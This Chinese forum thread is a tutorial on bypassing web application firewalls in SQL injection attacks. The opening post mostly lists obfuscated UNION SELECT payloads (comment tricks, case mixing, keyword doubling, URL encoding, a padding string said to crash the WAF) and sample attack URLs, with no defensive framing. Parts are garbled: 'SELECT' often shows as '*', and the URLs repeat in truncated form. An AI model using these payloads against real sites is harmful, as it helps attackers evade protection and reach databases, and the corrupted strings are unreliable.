2026年11月2日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
1000
Lv9有为九子能等级图标
勋章勋章勋章勋章勋章
帖子
9.3万
回复
2,089
积分
60.3万
注册
2006-12-06
[怀旧国机]

wAF绕过方法从简单到高级

[复制链接]
查看 266 回复 2
楼主 发表于 | 只看该作者
1 人收藏

WAF介绍

什么是WAF?

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

基本/简单绕过方法:

1、注释符

/*!UNION*/ /*!**/ 1,2,3,4….

2、使用大小写

uNIoN * 1,2,3,4….

3、结合前面两种方法

/*!uNIOn*/ /*!**/ 1,2,3,4….

4、关键字替换

UNIunionON SEL*ECT 1,2,3,4….

此方法适用于一些会把union *替换掉的WAF,经过WAF过滤后就会变成 union * 1,2,3,4....

5、内部注释

%55nION/**/%53ElecT 1,2,3,4…

U替换为%55,S替换为%53 在 union 和 * 之间添加注释/**/

高级绕过方法:

1、缓冲区溢出/使防火墙崩溃

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

(*1)=(* 0xAA[..(add about 1000“A“)..])+/*!uNIOn*/+/*!**/+1,2,3,4….

你可以使用如下方法测试WAF

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

2、对字母进行编码

/*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

3、使用其他变量或者命令对注入语句进行替换

* | WHAT TO USE INSTEAD

@@version | version()

concat() | concat_ws()

group_concat() | concat_ws()

4、利用WAF本身的功能绕过

假如你发现WAF会把“*“替换为空,那么你就可以利用这一特性来进行绕过

*on+sel*ect+1,2,3,4....

其它方法:-15+(uNioN)+(*)….-15+(uNioN+*)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (* 1,2,3,4…

http://www.site.com/index.php?page_id=-15

http://www.site.com/index.php?page_id=-15

http://www.site.com/index.php?page_id=-15

http://www.site.com/index.php?page_id=-15

http://www.site.com/index.php?page_id=-15

http://www.site.com/index.php?page_id=-15+and+

http://www.site.com/index.php?page_id=-15

http://www.site.com/index.php?page_id=-15+uni

其它方法:-15+(uNioN)+(*)….-15+(uNioN+*)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (* 1,2,3,4…)

登录回复
112247
Lv7可吟七步诗等级图标等级图标等级图标等级图标
勋章勋章勋章勋章勋章勋章勋章勋章+2
帖子
1
回复
9,407
积分
9万
注册
2012-06-18
1 楼

<br/>道,可道,非常道;名,可名,非常名

74775
Lv6胸怀六国志等级图标等级图标等级图标等级图标等级图标
勋章勋章
帖子
0
回复
2,122
积分
1.3万
注册
2011-09-25
2 楼

<br/>钓鱼岛是中国的,苍井空才是全世界的!

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块